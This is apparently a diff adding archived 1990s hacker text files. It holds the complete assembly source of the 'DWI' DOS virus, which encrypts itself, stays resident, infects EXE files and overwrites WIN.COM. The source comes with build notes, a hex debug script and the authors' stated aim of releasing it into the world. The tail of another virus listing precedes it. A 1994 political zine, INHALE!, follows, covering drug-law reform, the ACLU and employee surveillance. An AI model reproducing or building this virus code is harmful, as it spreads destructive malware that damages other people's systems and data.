dh, 9 + call setcursor + + mov dx, offset nicemessage1 + call printstring + + mov dh, 0Ah + call setcursor + + mov dx, offset nicemessage2 + call printstring + + mov byte ptr [charcolor], 2 + + mov dh, 0Ch + call setcursor + + mov dx, offset nicemessage3 + call printstring + + mov dh, 0Dh + call setcursor + + mov dx, offset nicemessage4 + call printstring + + mov cx, 0FFFFh ; kill time +killloop: + lodsb + loop killloop + + xor ax, ax ; wait fo' a key + int 16h + + mov al, byte ptr [savemode] ; restore old mode + mov ah, 0 ; on the vid + int 10h + int 20h + +printstring: + cld + mov si, dx +printloop: + lodsb + cmp al, '$' + je alldoneprinting ; end of string + + mov ah, 0Eh ; write a byte + mov bh, 0 ; to tha' vid + mov bl, byte ptr [charcolor] + int 10h + + jmp short printloop +alldoneprinting: + ret + +setcursor: + mov dl, 5 ; set cursor pos + mov ah, 2 + mov bh, 0 + int 10h + ret + + db ' 03/03/90 KV KL MAL ' ; whee... +endwrite: + end start + ========================================================================== + + ==================== + DWI Virus Source + By The Attitude Adjuster and AccuPunk + ==================== + + Here's the source to one of our new older viruses... Both 'Punk and + I did a little bit on this one, but, 'Punk thought it all up... I just + kinda fucked around with the code when he said he was bored with it... + Anyway, I can't really give you too much help here, as this code isn't at + all the greatest, but, I include it to get this virus out into the world. + + Umm, assemble two pass, and link to an EXE. Modfiy the header to + make the maximum memory allocation equal to the minimum, and the fucker + should run... I'm really not going to test it right now, mainly because + it's late, and I AM releasing this tonight... + + =========================================================================== +Virus Name: Damn Windows Idiot! +Aliases: Anti-Windows +Author(s): AccuPunk/The Attitude Adjuster +Group: Virulent Graffiti +Scan ID: [DWI] +V Status: Abortion +Discovery: Well, see, we were in LIST.COM and we saw this code... +Symptoms: EXE growth; messages; something to do with WIN.COM +Orgin: WestBumbleFuck, Ohio DipShitPeak, New York +Eff Length: 1063 Bytes +Res Length: 1280 Bytes +Type Code: PRhE - Parasitic Resident EXE Infector +Detection Method: +Removal Instructions: Cry... Delete Windows... Increase wallet space, + hire and Antivirus Professional ("...two words together that can't + make sense!"). + +General Comments: + + DWI will become resident after first checking for it's own + presence in memory. DWI places itself into high memory, and + changes it's MCB owner to the usual DOS MCB owner segment. + This may be changed to retrive the DOS MCB owner from DOS, + in the future, but this suffices at the present. + + Int 21h is revectored to Int 30h where the virus uses it for + DOS calls. The FAR PTR at Int 30h+1 is lost. + + Upon the execution of any program using Int 21h/Ax=4B00h, DWI + will check the file for an 'MZ' header, and if found, infect + the file, leaving the time, date, and attributes of the file + unchanged. + + DWI seems to have an adverse effect on WIN.COM when it is run. + + Other than the offensive WIN.COM program, DWI will not harm any + data... If DESQView is found, the host system owner will be wired + $100,000 for choosing a decent multitasking operating system... + err... maybe not, but, we'll not screw any .COM files. + +Strings Contained in the Virus: + + '[DWI] AccuPunk/The Attitude Adjuster Virulent Graffiti' + 'WIN.COM' + +Future Revision Notes: + + There will probably be no future revisions of DWI. We may optomize + it a little, and rip the engine for use in a planned virus, but, + as I said, there will probably be no DWI-B. + =========================================================================== + +; [][] [] [] [][][] "Damned Windows Idiot!" or Anti-Windows... +; [] ][ [] [] [] +; [] [] [] [] [] An original Viral Artform by +; [] [] [] [] [] [] AccuPunk and The Attitude Adjuster of +; [] ][ [] ][][ [] [] Virulent Graffiti, 216/513/914/602/703! +; [][] ][ ][ [][][] + +; "Hey, you... with the shitty logo... Yeah, you! Get over here!" + +.model tiny +.code + org 100h + +id_word equ '1V' ; Marker Word + ; V1 in Lil' Endian +entry: + mov bx, offset endcrypt ; Virus Start + mov cx, (end_write-endcrypt)/2 ; Ieterations +Valu: + mov dx, 0000h ; Xor Word +Crypt_Loop: + xor word ptr cs:[bx], dx ; Xor It (CS Ovr'rd) + ror word ptr cs:[bx], 1 ; Roll it Right! + inc bx + inc bx + loop Crypt_Loop +EndCrypt: + + push ds es ; Save Segments + + push cs cs ; CS=DS=ES + pop ds es + + mov ax, 0ABCDh ; R-U-There? + int 21h + cmp ax, 6969h ; Ax=6969h Vir_Ident + jne put_vir_in_mem ; No. + +exit: + pop es ds ; Restore Segments + + mov ax, es ; AX = PSP segment + add ax, 10h ; Adjust for PSP + mov cx, ax + + add ax, word ptr cs:[stacksave] ; Adjust SS + + cli + mov sp, word ptr cs:[stacksave+2] ; Set SP + mov ss, ax ; Set SS + sti + + mov bx, word ptr cs:[jmpsave+2] ; Adjust CodeSeg + add bx, cx + push bx ; Save It + + mov bx, word ptr cs:[jmpsave] ; Load IP + push bx ; Save It + + retf ; Exit Virus + +jmpsave dd 0fff00000h ; Point to INT 20h +stacksave dd ? ; Nada. + +put_vir_in_mem: + xor ax,ax ; Interrupt Table + mov ds,ax + les bx, dword ptr ds:[21h*4] ; Int 21h Vector + + mov word ptr cs:[old_int_21], bx ; Save Int 21h + mov word ptr ds:[30h*4],bx ; Revector 30h + mov word ptr cs:[old_int_21+2], es + mov word ptr ds:[30h*4+2], es + + push cs cs ; Restore Segments + pop es ds + + mov ax, 5800h ; Get Mem Alloc + int 21h + + push ax ; Save Strategy + + mov bx, 2 + mov ax, 5801h ; Set to Last Fit + int 21h + + mov bx, ((end_vir - entry) / 16) + 1 + mov ah, 48h ; Allocate Block + int 21h + + push ax ; Returned in AX + sub ax, 10h ; Base Ofs 100h + mov es, ax ; Our Segment + + mov di, 100h ; Entry = 100h + mov si, di ; Entry = 100h + mov cx, end_write - entry ; Bytes to Zopy + rep movsb + + xor cx, cx ; Interrupt Table + push cx + pop ds + + cli + mov word ptr ds:[21h*4], offset Int_21_handler ; Set Int 21h + mov word ptr ds:[21h*4+2], ax + sti + + pop ax + sub ax, 1 + mov es, ax ; Point To MCB + mov word ptr es:[0001], 0008 ; Config = 0008h + + mov ax, 5801h ; Reset Strategy + pop bx + int 21h + + jmp exit ; Exit Stub + +int_21_handler: + push ax bx cx dx si di bp es ds ; Save Registers + + cmp ax, 0ABCDh ; R-U-There? + je r_u_there + + cmp ax, 4B00h ; DOS Exec? + je exec_call + +back_to_dos: + pop ds es bp di si dx cx bx ax ; Restore Registers + + db 0eah ; JMP XXXX:YYYY +old_int_21 dd ? + +remove_locks: + xor ax,ax ; Interrupt Table + mov ds,ax + les ax, dword ptr cs:[Old24] ; Get Int 24h Vector + + mov word ptr ds:[24h*4], Ax ; And Replace It + mov word ptr ds:[24h*4+2], Es + jmp back_to_dos + +r_u_there: + mov bp, sp ; Alter AX On Stack + mov word ptr [bp+10h], 6969h + jmp end_int_21 + +exec_call: + xor ax,ax ; Revector Int 24h + mov ds,ax + les ax, DWord Ptr ds:[24h*4] + + mov word ptr cs:[Old24], ax ; Save Old Vector + mov word ptr cs:[Old24+2], es + + mov word ptr ds:[24h*4], Offset My24 ; With Our Vector + mov word ptr ds:[24h*4+2], cs + + pop es ; Caller's Ds in Es + push es + + mov di, dx ; ES:DI -> filename + push cs + pop ds ; DS:SI -> "WIN.COM" + mov si, offset win_com + push si + +find_top: + pop si + push si + lodsb ; AL = "W" + + mov cx, 128 + repnz scasb ; Scan For "W" + je check_it ; Got a "W", Check It + pop si + jmp infect ; Not WIN.COM + +check_it: + mov cl, 7 + +check_char: + lodsb ; Load Next Character + scasb ; and Check it + jne find_top ; Leave if < > + loop check_char + + pop si + +nuke_windows: + push es + pop ds + + mov ax, 3d02h ; Open WIN.COM + int 30h + + xchg ax,bx ; Handle in BX + + push cs + pop ds + + mov ah, 40h ; Write WIN.COM + mov cx, (my24-win_exit)-1 + mov dx, offset win_exit ; with CD 20h + int 30h + + mov ah, 3eh ; Close File + int 30h + + mov ah, 9 ; Show User Message + mov dx, offset win_msg + int 30h + +end_int_21: + pop ds es bp di si dx cx bx ax ; Restore Registers + iret + +infect: ; File Infection + push es + pop ds + + mov si, dx ; DS:SI -> filename + push cs + pop es + mov di, offset fname +LoopAgain: ; Copy filename into + lodsb ; Our CodeSeg. + stosb + or al,al + jnz LoopAgain + + push cs ; CS=DS=ES + pop ds + + xor ax, ax ; Get Attributes + call attributes + + mov word ptr [fattr], cx ; Save Attributes + + mov ax, 3D00h ; Open File + int 30h + jc bad_exe + + xchg ax, bx ; BX = File Handle + + mov ax, 5700h ; Get File Date/Time + int 30h + + mov ftime, cx ; Save Time + mov fdate, dx ; And Date + + mov ah, 3Fh ; Read Header + mov cx, 1ah + mov dx, offset buffer ; Into Buffer + int 30h + + call LSeekEnd ; LSeek the End + + push dx ; Save File Size + push ax + + mov ah, 3Eh ; Close File + int 30h + + cmp word ptr [buffer], 'ZM' + jne worse_exe ; Not an EXE File + + cmp word ptr [buffer+12h], id_word + jne good_exe ; Not Infected + +worse_exe: + pop dx ; Remove Saved File + pop dx ; Size +bad_exe: + jmp remove_locks ; Abort Infection + +good_exe: + mov al, 01h ; Overwrite Attribs + xor cx, cx + call attributes + jc worse_exe ; Catch Write-Prot + ; Discs Here + push cs + pop es + + mov si, offset buffer + 14h ; Save Initial CS:IP + mov di, offset jmpsave ; In Segment + + movsw + movsw + + sub si, 10 ; Save Initial SS:SP + + movsw + movsw + + pop ax dx ; Retrive File Size + push ax dx ; Save It + + add ax, offset end_write - offset entry + adc dx, 0 + + mov cx, 512 ; Pages 512 Bytes + div cx + or dx, dx + jz no_round + inc ax ; Rounding Quirk + +no_round: + mov word ptr [buffer + 4], ax ; Set Total 512 pages + mov word ptr [buffer + 2], dx ; Set Total mod 512 + + mov ax, word ptr [buffer + 0Ah] ; Get Minimum + add ax, (end_write - entry)/16 ; Add our Size + mov word ptr [buffer + 0ah], ax ; Put us in Minimum + mov word ptr [buffer + 0ch], ax ; and in the Maximum + + pop dx ax ; Retrieve File Size + + mov cl, 4 + mov bx, word ptr [buffer + 8] + shl bx, cl ; BX = Header Size + sub ax, bx + sbb dx, 0 ; Subtract Header + + mov cx, 10h + div cx ; Change To Para/Rem + or dx, dx + jz no_padding + sub cx, dx ; CX = Bytes to Pad + inc ax + +no_padding: + push cx ; Save Pad Bytes + sub ax, 10h + mov word ptr [buffer + 14h], offset entry ; Set IP + mov word ptr [buffer + 16h], ax ; Set CS + mov word ptr [buffer + 0Eh], ax ; Set SS + mov word ptr [buffer + 10h], offset end_vir+100h ; Set SP + +move_id: + mov word ptr [buffer + 12h], id_word ; Set ID Word + ; Negative Checksum + + mov ax, 3D02h ; Open File + mov dx, offset fname + int 30h + + xchg ax, bx ; BX = File Handle + + mov ah, 40h ; Write File + mov cx, 1Ah + mov dx, offset buffer + int 30h + + call LSeekEnd ; LSeek to End + + pop cx ; Retrieve Padding + cmp cx, 16 + je no_fixup ; None Needed + + mov ah, 40h ; Write File + int 30h + +no_fixup: + mov ah, 2ch ; Get Time + int 21h + + mov word ptr [Valu+1], Dx ; New Crypt Valu + + mov si, offset writeret ; Copy Write + mov di, offset tempcrypt ; Routine + mov cx, (end_write-writeret) + rep movsb + + call tempcrypt ; Call Write Routine + + mov ax, 5701h ; Set File Time/Date + mov cx, ftime + mov dx, fdate + int 30h + + mov ah, 3Eh ; Close File + int 30h + + mov al, 01h ; Reset Attribs + mov cx, fattr + call attributes + + jmp remove_locks ; Remove Int 24h + +vir_ident db 0,'[DWI] AccuPunk/' ; Virus and Author + db 'The Attitude Adjuster' ; Idents + +vir_group db 0,'Virulent Graffiti',0 ; Group Ident + +win_com db 'WIN.COM',0 ; Target File +win_exit db 0cdh, 20h ; DOS Exit +win_msg db 0dh,0ah ; Message + db 'You''ve been caught, you DWI! You''re nothing ' + db 'but a Damn Windows Idiot!',0dh,0ah + db 'Well, we at Virulent Graffiti have had it... ' + db 'you''re not going to be',0dh,0ah + db 'running that bullshit for a while, ''cuz, hey, ' + db 'friends don''t let friends',0dh,0ah + db 'use Windows! (and you''re damn right we''re ' + db 'your friends!)',0dh,0ah,'$' +my24: ; Error Handler + mov al, 3 ; Process Terminate + iret + +Attributes: ; Get/Set + mov ah, 43h + mov dx, offset fname + int 30h + ret + +LSeekEnd: + mov ax, 4202h ; LSeek from End + xor cx, cx + cwd ; XOR DX, DX + int 30h ; Kudos DA + ret + +WriteRet: + push bx ; Handle + + mov bx, offset endcrypt ; Virus Start + mov cx, (end_write-endcrypt)/2 ; Ieterations + mov dx, Word Ptr [Valu+1] ; Xor Word +Crypt_Loop2: + rol word ptr [bx], 1 ; Roll it Left! + xor word ptr [bx], dx ; Xor It + inc bx + inc bx + loop Crypt_Loop2 + + pop bx ; Handle + + mov ah, 40h ; Write File + mov cx, end_write - entry + mov dx, offset entry + int 30h + + push bx ; Handle + + mov bx, offset endcrypt ; Virus Start + mov cx, (end_write-endcrypt)/2 ; Ieterations + mov dx, Word Ptr [Valu+1] ; Xor Word +Crypt_Loop3: + xor word ptr [bx], dx ; Xor It + ror word ptr [bx], 1 ; Roll it Left! + inc bx + inc bx + loop Crypt_Loop3 + + pop bx ; Handle + ret ; Return +end_write: + + old24 dd 0 ; Int 24h Vector + buffer db 1Ah dup (0) ; EXE Read Buffer + fname db 128 dup (0) ; Filename Buffer + fdate dw 0 ; OldFileDate + ftime dw 0 ; OldFileTime + fattr dw 0 ; OldFileAttr + +tempcrypt: + db (end_write-writeret) Dup(0) ; Write Routine +end_vir: + + end entry + =========================================================================== + Oh, yea, and, a debug script for all you guys who, like me, had + problems assembling this mis-mash of garbage... + + =========================================================================== +a +db 4D 5A CE 01 05 00 00 00 02 00 E7 0F E7 0F 4A 00 +db F2 06 56 31 00 01 4A 00 1C 00 00 00 00 00 00 00 +db BE 30 01 8B FE B9 B1 02 AD 33 06 2E 01 AB E2 F8 +db B4 0F CD 10 B4 00 CD 10 B8 03 13 B9 30 02 33 D2 +db BD 30 01 CD 10 B4 09 BA 90 05 CD 21 CD 20 3E 2F +db 1E 20 1E 20 1E 20 E2 25 1E 25 1E 25 1E 25 E2 25 +db 1E 25 E2 25 E2 25 E2 25 1E 25 E2 25 E2 25 E2 25 +db 1E 25 1E 25 E2 25 1E 25 1E 25 E2 25 1E 25 E2 25 +db 1E 25 1E 25 1E 25 1E 25 E2 25 E2 25 1E 25 E2 25 +db 1E 25 1E 25 E2 25 1E 25 E2 25 E2 25 E2 25 1E 25 +db 1E 25 1E 25 1E 25 E2 25 E2 25 E2 25 E2 25 1E 25 +db E2 25 E2 25 E2 25 1E 25 1E 25 1E 25 E2 25 1E 25 +db 1E 25 1E 25 E2 25 E2 25 1E 25 1E 25 E2 25 E2 25 +db 1E 25 E2 25 E2 25 E2 25 1E 25 E2 25 E2 25 E2 25 +db 1E 25 E2 25 E2 25 E2 25 1E 20 1E 20 1E 20 1E 20 +db 1E 20 1E 25 1E 25 E5 25 1E 25 1E 25 1E 25 E5 25 +db 1E 25 1E 25 E5 25 1E 25 1E 25 E5 25 1E 25 1E 25 +db E5 25 1E 25 E5 25 1E 25 1E 25 E5 25 1E 25 E5 25 +db 1E 25 1E 25 1E 25 E5 25 1E 25 1E 25 1E 25 E5 25 +db E5 25 E2 25 E5 25 1E 25 1E 25 E5 25 1E 25 1E 25 +db 1E 25 1E 25 E5 25 1E 25 1E 25 1E 25 E1 25 1E 25 +db E5 25 1E 25 1E 25 E5 25 1E 25 E5 25 1E 25 E5 25 +db 1E 25 E5 25 1E 25 1E 25 1E 25 E5 25 1E 25 1E 25 +db 1E 25 1E 25 E5 25 1E 25 1E 25 1E 25 E5 25 1E 25 +db 1E 25 1E 25 E5 25 1E 20 1E 20 1E 20 1E 20 1E 20 +db 1E 20 1E 25 1E 25 E5 25 1E 25 1E 25 1E 25 E5 25 +db 1E 25 1E 25 E5 25 1E 25 1E 25 E5 25 E2 25 E1 25 +db 1E 25 1E 25 E5 25 1E 25 1E 25 E5 25 1E 25 E5 25 +db 1E 25 1E 25 1E 25 E5 25 1E 25 1E 25 1E 25 E5 25 +db 1E 25 E1 25 E5 25 1E 25 1E 25 E5 25 1E 25 1E 25 +db 1E 25 1E 25 E5 25 1E 20 1E 20 1E 20 1E 20 1E 20 +db E5 25 E2 25 E1 25 1E 25 E2 25 E1 25 1E 25 E5 25 +db 1E 25 E5 25 E1 25 E1 25 1E 25 E5 25 E1 25 E1 25 +db 1E 25 1E 25 E5 25 1E 25 1E 25 1E 25 E5 25 1E 25 +db 1E 25 1E 25 E5 25 1E 20 1E 20 1E 20 1E 20 1E 20 +db 1E 20 1E 25 1E 25 E5 25 1E 25 1E 25 1E 25 E5 25 +db 1E 25 1E 25 E5 25 1E 25 1E 25 E5 25 1E 25 E5 25 +db 1E 25 1E 25 E5 25 1E 25 1E 25 E5 25 1E 25 E5 25 +db 1E 25 1E 25 1E 25 E5 25 E1 25 1E 25 1E 25 E5 25 +db 1E 25 1E 25 E5 25 1E 25 1E 25 E5 25 1E 25 1E 25 +db 1E 25 1E 25 E5 25 1E 25 1E 25 E2 25 E2 25 1E 25 +db E5 25 1E 25 E5 25 1E 25 E5 25 E2 25 E2 25 E5 25 +db 1E 25 E5 25 1E 25 1E 25 1E 25 E5 25 1E 25 1E 25 +db 1E 25 1E 25 E5 25 1E 25 1E 25 1E 25 E5 25 1E 25 +db 1E 25 1E 25 E5 25 1E 20 1E 20 1E 20 1E 20 1E 20 +db 1E 20 1E 25 1E 25 1E 25 E5 25 1E 25 E2 25 E1 25 +db 1E 25 1E 25 E5 25 1E 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=========================================================================== + + + diff --git a/textfiles.com/magazines/ONESHOTS/inhale01.txt b/textfiles.com/magazines/ONESHOTS/inhale01.txt new file mode 100644 index 00000000..237724ca --- /dev/null +++ b/textfiles.com/magazines/ONESHOTS/inhale01.txt @@ -0,0 +1,524 @@ + + +------------------------------------------------------------------------------- + I N H A L E ! +============================================================================== + Issue #1 For the Freedom to Choose Our Choices... Feb '94 +============================================================================== + Introduction: + + Hello! Congratulations for picking up Pekin's first politically +(in)correct (depending on how you look at it) publication. We at INHALE! +believe that each American should have the right to choose what he or she +wishes to do, independantly from another individual. We neither condone or +disagree with the use drugs. We agree that violence will change nothing and +only education on countless topics will benefit societies around the world. + A little introduction is in order; who I am, where I came from, and why +I believe in these principles. My name is Greg, and I am twenty years old. My +political thoughts started at what I consider to be a young age. I was about +twelve, living in a middle class home, with a loving family, and a computer. +I have to mention the computer, because this is where my political values +emerged. + It started one day when (don't you love stories that start that way?) I +bought a modem for my computer. A modem is something that translates computer +language to sounds that are fed through the phone lines to another computer +with a modem. Anyway, I started calling a few other computers (which are +called bulletin board systems or BBS for short). The more memorable one was +run by a guy called Whirlin' Dervish. He had the best BBS that I had ever +called. There were many files that dealt with the anarchist way of life. I +would get these files and pour over them for hours, trying to grasp the +meaning of what the authors had written. This made me think that there ARE +other ways of thinking other than what is socially acceptable. + Then there was the military at age seventeen. Thirteen weeks of boot camp +and two years in the national guard convinced me that there was definately +something wrong with the way the government thinks. It also made me wonder +how they could get away with so much waste and misuse of our tax dollars. It +just doesn't stop at the military though, as most of us know by the countless +times we have heard of scandals, under the table dealing, and general screw +ups by our wondrous government system. + Ever since these things in my life have happened, I haven't been the same +person. For the last four years, I have been refining my logic and my +opinions on things, of which you are about to read herein. My principles are +constantly being modified through education. + This is what we at INHALE! wish to offer you, education. You have a +right as an American citizen, to stand up and let your voice be heard. Believe +me when I say it does matter when you write your congressmen/woman as it does +show that you care about what goes on in this society based country we call +America. + With that, I can only offer these simple words of advice: Prepare for +tommorrow, but live today. Yesterday is history, and tommorrow may never come. +============================================================================== + To get a one year subscription ! WHAT'S INSIDE THIS ISSUE: +to INHALE! send $5 to the address ! Introduction to INHALE!..........pg1 +below. The hardcopy version looks quite ! Lobbying Agencies................pg2 +nice and has scanned cartoons, grafix, ! Sphinctor of the Month...........pg3 +and other cool stuff. You may obtain a ! Freedom Fighter..................pg4 +sample copy by sending a S.A.S.E. LARGE ! Cease Fire!......................pg5 +to: INHALE! ! Employee Surveillance............pg6 + PO Box 1073 ! Political Sellouts...............pg7 + Pekin, IL 61555-1073 ! Addresses........................pg8 +------------------------------------------------------------------------------ + + + + + + + + +------------------------------------------------------------------------------ + INHALE! #1 FEB '94 Greg S Page 2 + The ACLU Fights For Your Rights! + The American Civil Liberties Union is the nation's foremost advocate of +individual rights--litigating, legislating and educating the public on a broad +array of issues affecting individual freedom in the United States. + The mission of the ACLU is to assure that the Bill of Rights--amendments +to the Constitution that guard against unwarranted governmental control--are +preserved for each new generation. To understand the ACLU's purpose, it is +important to distinguish between the Constitution and the Bill of Rights. The +Constitution itself, whose bicentennial we celebrated in 1987, authorizes the +government to act. The Bill of Rights limits that authority. + What rights are guaranteed in the Bill of Rights? + First Amendment rights: These include freedom of speech, association and +assembly, freedom of the press, and freedom of religion, including the strict +separation between church and state. + Equal protection of the law: The right to equal treatment regardless of +race, sex, religion, national origin, sexual orientation, age, physical +handicap, or other such classification. + Due process of law: The right to be treated fairly when facing criminal +charges or other serious accusations that can result in such penalties as loss +of employment, exclusion from school, denial of housing, or cut-off of +benefits. + The right to privacy: The right to a guaranteed zone of personal privacy +and autonomy which cannot be penetrated by the government or by other +institutions, like employers, with substantial influence over an individual's +rights. + Expanding those protections: Although some segments of our population have +traditionally been denied those rights, the ACLU works to extend protection to +racial minorities, homsexuals, mental patients, prisoners, soldiers, children +in custody of the state, the handicapped, and Native Americans. + The ACLU address is on page 8. + +============================================================================ + Be NORML! + NORML, the National Organization for the Reform of Marijuana Laws, demands +that marijuana be decriminalized for medical, industrial, and personal uses. +NORML lobbies in congress as well as individual politicians for these personal +choices. + NORML demands that marijuana be available to all those who are in pain, +have nausea from drug therapy, have problems controlling seizures, who have had +eye surgeries, and many other purposes. + The stated purpose of marijuana prohibition is suppression of both use and +dissent. Prohibition thrives on division, because a people divided against +themselves cannot stand in opposition to tyranny. + Resistance to marijuana prohibition must be based on forging coalitions +and demonstrating common ground with our fellow citizens. + Now entering it's third decade, NORML has been America's leading and most +visible opponent of marijuana prohibition. + Marijuana prohibition is an expensive failure in which citizens are forced +to pay taxes to finance the erosion of their liberty. + You can help by joining NORML, and by encouraging others to do the same. A +one year membership in NORML is $25, and includes a subscription to the NORML +quarterly newspaper. Send your membership dues to: + NORML + Temple Heights Station + P.O. Box 53356 + Washington, DC 20036 + Info address is on page 8. +------------------------------------------------------------------------------- + + + + + + + + + +------------------------------------------------------------------------------- + INHALE! #1 Feb '94 Greg S Page 3 + Wilt Does It Again + The sphinctor of the month column will feature our personal choice for +the person that displays fascism, bungles things beyond the normal realm of +bungleness, or just outright displays ignorant behavior. + This months choice happens to be a fellow by the name of Jack Wilt. +Which on the same token, happens to be the superintendant of dist. 303. As +most of us know, he really screwed things up this time. + The actual offense is censorship. Mr. Wilt took it upon himself to +decide that certain letters to the editor were racial and offensive. What he +actually did was far worse than being racist in my opinion. + Not only did he violate the reporter's 1st. Amendment by taking away +freedom of the press, but also took the rights of the writer away also. I +realize that the paper is actually a publication of the school, but tell me +what kind of a picture this would make to a young junior who might just be +getting into journalism and decided that the school paper might be a good +place to start. This could take away that person's chance of ever reporting on +what he or she would really want to report on. Essentially, very little, if +any, faith in the 1st. Amendment could occur. + The way the Pekinois is set up is just like a real newpaper, with an +editor in chief and a chain of command. There is an advisor there that is also +the journalism teacher. It's set up to be a pretty good simulation of what +working on a real paper is supposed to be like. Wilt's choice to pull the +paper, displays a real lack of (there are a million words that could be used +here) judgement regarding the realism of the school paper experience. Isn't he +the one that should be sticking up for the cirriculum of the school? + If one was to get techinical about things, one could say that Wilt +himself was inflicting racial damage by pulling the paper. The surrounding +media snatched the opporutunity to make another racial shot at Pekin. If left +alone no one except the people that read the paper would've even known that +anything racial had been written. Now, to most people, the situation looks as +if Pekin is just as racist as ever, with the superintendant just trying to +make the school look like they are cracking down on racism when they've done +nothing to actually help releive it. + One should keep in mind that this was a letter to the editor. Therefore +completely editorial. Everyone knows that an editorial is based on one +person's, or the opinion of a group of people. Also, how hard could it have +been to just make the editors put a disclaimer at the top of the page, saying +something to the effect of: 'The views of writers of a letter to the editor is +not the opinion of this school or any other faculty member at this school.' ? + A few last comments about this. +I was reading the Times the other day, and I did see a letter to the editor +from a lawyer for the Peoria chapter of the ACLU. In it, he too saw that +pulling the paper was wrong. He too wrote about what kind of example was +being set by the superintendant. + One final comment. The advisor to the Pekinois, Diana Peckham, should be +commended for her part in this fiasco. She gave the students working on the +paper the choice to go ahead with putting the articles in or not. Thank you +Diana for making the right decision. Too bad there aren't that many more of +people like you on the faculty at PCHS. +------------------------------------------------------------------------------- + + + + + + + + + + + + + + +------------------------------------------------------------------------------- + INHALE! #1 Feb '94 Hoffman II Page 4 + Freedom Fighter Of the Month + This is INHALE!'s freedom fighter of the month column. Unlike High +Times's freedom fighter, you dont have to go to jail to be in ours, proving +that expressing your ideas won't get you behind bars ALL of the time. This +month's freedom fighter of the month is Surgeon General Joycelyn Elders, who +proposed that legalization of drugs should be studied to reduce violence. She +raised several important points, and was quickly rebuffed by the Clinton +administration. + Elders was right about drug legalization; the war on drugs is a fiasco, a +disaster, and does nothing except to make the streets less safe, taxes much +higher, and the plight of drug users much worse. In the 1920's and 1930's, +alcohol prohibition only led to more gang violence and mobster crime. The +gangster era finally ended when prohibition was ended and alcohol became +relegalized. We must realize that it's time to legalize marijuana and let +people take responsibility for their own actions. It is clear that drug +prohibition has resulted in too much violence and the current "war on drugs" +has not helped the problem. We should be concentrating on education efforts +rather than interdiction. Also, the war on drugs is dangerous in that it +"allows" government to seize people's property without a trial by jury. Drug- +related seizures have taken place against innocent people who had no drugs. + Unfortunately, it looks like not too many people in tho government agree +with her. (Suprise) President Bill Clinton pubically rebuffed her suggestion. +She did not even propose a plan for the decriminalization of drugs; she merely +suggested that drug use be further studied. Yet, the GOP is now calling for +her resignation. Bill put his tail between his legs and panicked that Elders +would dare raise the issue, even parenthetically. He basically told her that +nice girls should be seen (and photographed by the press) and not heard. He +may think that she's a nice girl, but don't nice girls have some brains behind +their mouth? His behavior was shameful. This is one more sign of a floundering +administration. + A poll taken seems to show that the Surgeon General is not alone. Out of +61,000 respondants, 53% say legalizing drugs might reduce crime. This means +that more in this poll sided with Surgeon General Joycelyn Elders' view that +legalizing drugs could make America a safer place than with President Clinton, +who said the costs would outweigh the benefits. His view was, however, backed +by those in his own age group--45 and up. Younger respondents and men and +women, as well as respondents from all US regions, are more likely to agree +with Dr Elders. I think its time for the younger generation of Americans to +take a stand. Only by searching for the truth by ourselves will we be able to +escape what is being covered up. + This is just one more example of how today's government tries to keep +people quiet whenever they challenge what the government has decided is the +truth. I chose Surgeon General Joycelyn Elders as Freedom Fighter of the Month +because without becoming completely revolutionary, she did what she could to +try to change America for the better. I commend her for reccomending drugs to +be legalized to reduce violence, and I am shocked at the reaction people had to +her ideas. This is proof that it will be up to us to help support movements to +get our agenda passed. If you agree with us, that Surgeon General Joycelyn +Elders had a great idea, feel free to write her office and tell her you suport +her. Her office's address is on page 8. +------------------------------------------------------------------------------ + + + + + + + + + + + +------------------------------------------------------------------------------ + INHALE! #1 Feb '94 Greg S Page 5 + A Call To Cease-Fire + Here are nine things that could be the key to ending the war on drugs: + + 1. Stop talking about winning the drug wars. In the broadest sense, +there is no way to win because we cannot make the drugs or their abusers go +away. Our goal should be to fashion methods of living peacefully with drugs +that create the least possible harm for users and their nonusing neighbors. + + 2. Recognize that the line between illegal and legal drugs is a historic +accident based primarily upon emotion rather than science. All drugs--including +alcohol, heroin, tobbacco, marijuana, and many others--are +dangerous. Yet, all can be used by people in nonharmful ways. + + 3. Start thinking about drugs and users in new ways. Start thinking +drugpeace instead of drug war. Think of users as potentially nice neighbors, +not evil criminals intent on robbing you because the drugs they take drive +them crazy. + + 4. Protect the sick from the ravages of the drug war. If they are ill and +suffering from diseases such as cancer or glaucoma, then heroin and marijuana +should be made available to them by prescription. If suffering from the +disease of addiction, they should have available non-cost rehabilitation +programs. If they are injecting addicts, they should be provided with clean +needles. + + 5. Demand of addicts in return that they live productive and noncriminal +lives. Thus the social contract we make will be legal drugs in return for +legal, loving lives. + + 6. Protect society from the ravages of the drug war--from criminal +traffickers, from criminal drug addicts, and from criminal policemen. Large +scale, hard drug traffickers should be locked up. The same thing goes for +addicts that repeatedly break laws. Policemen who grossly misconduct +themselves should be put in prisons and jails with no special treatment +letting them out after a short term. + + 7. Provide low cost treatment of all kinds as often as needed to +addicts. A good network of treatment experts and facilities that meet the +individual needs of each addict is also needed. + + 8. Trim the criminals out of the drug-treatment business. Many of our +leading experts, including prestigious physicians, are abusing and stealing +from the public by locking people up needlessly and charging obscene fees. +These medical jackals must be controlled and only the best elements must be +encouraged to step in and help the addict. + + 9. Convince the police that they are among it's saddest victims of the +drug war and that they should be in the leadership role of the reform +movement. In that role, they can be very effective. +------------------------------------------------------------------------------ + + + + + + + + + + + +------------------------------------------------------------------------------ + INHALE! #1 Feb '94 Hoffman II Page 6 + Are You Being Watched? + + "HEY! What about my rights?" you ask. Uhh, guess what--you don't have +that many left. After all this talk about the 200th anniversary of the Bill +of Rights in 1990, the Fourth Amendment means next to nothing if you have a +job in the private employer domain, which is where most Americans work. As +soon as you walk through their doors, you're not protected by the Bill of +Rights. This means if you find out that they are recording and/or monitoring +your phone calls, there is little you can do about it except ask them to +stop. This is only possible if you know it's going on, which you probably +won't. The increased anxiety on the part of employers concerning substance +abuse in the workplace has increased on-the-job surveillance. This can mean +anything from monitoring and/or recording phone calls to having undercover +cops put in the workplace. + A former police detective who now heads a company that deals in +undercover operations and drug education, explained to me how it works. "We +go in and we evaluate the situation as an independant source," he said. +"Management might have recieved anonymous tips, gotten complaints from other +employees, or maybe they've found paraphenalia out on the floor and all of a +sudden they start seeing increased absenteeism and low productivity hampering +the quality of their product. They suspect that something is taking place +that they can't see during day-to-day activities. So what we do is provide a +credible investigator, who then becomes the eyes and ears of the corporation, +recording everything he sees and hears." + An American Civil Liberties Union attorney has this to say on the topic +of undercover investigation in the workplace: "The practice is becoming more +and more common. It harkens back to company spies, Pinkertons, and now +in-store detectives. It's very problematic. It's not regulated by the +Constitution at all. It's a very dangerous 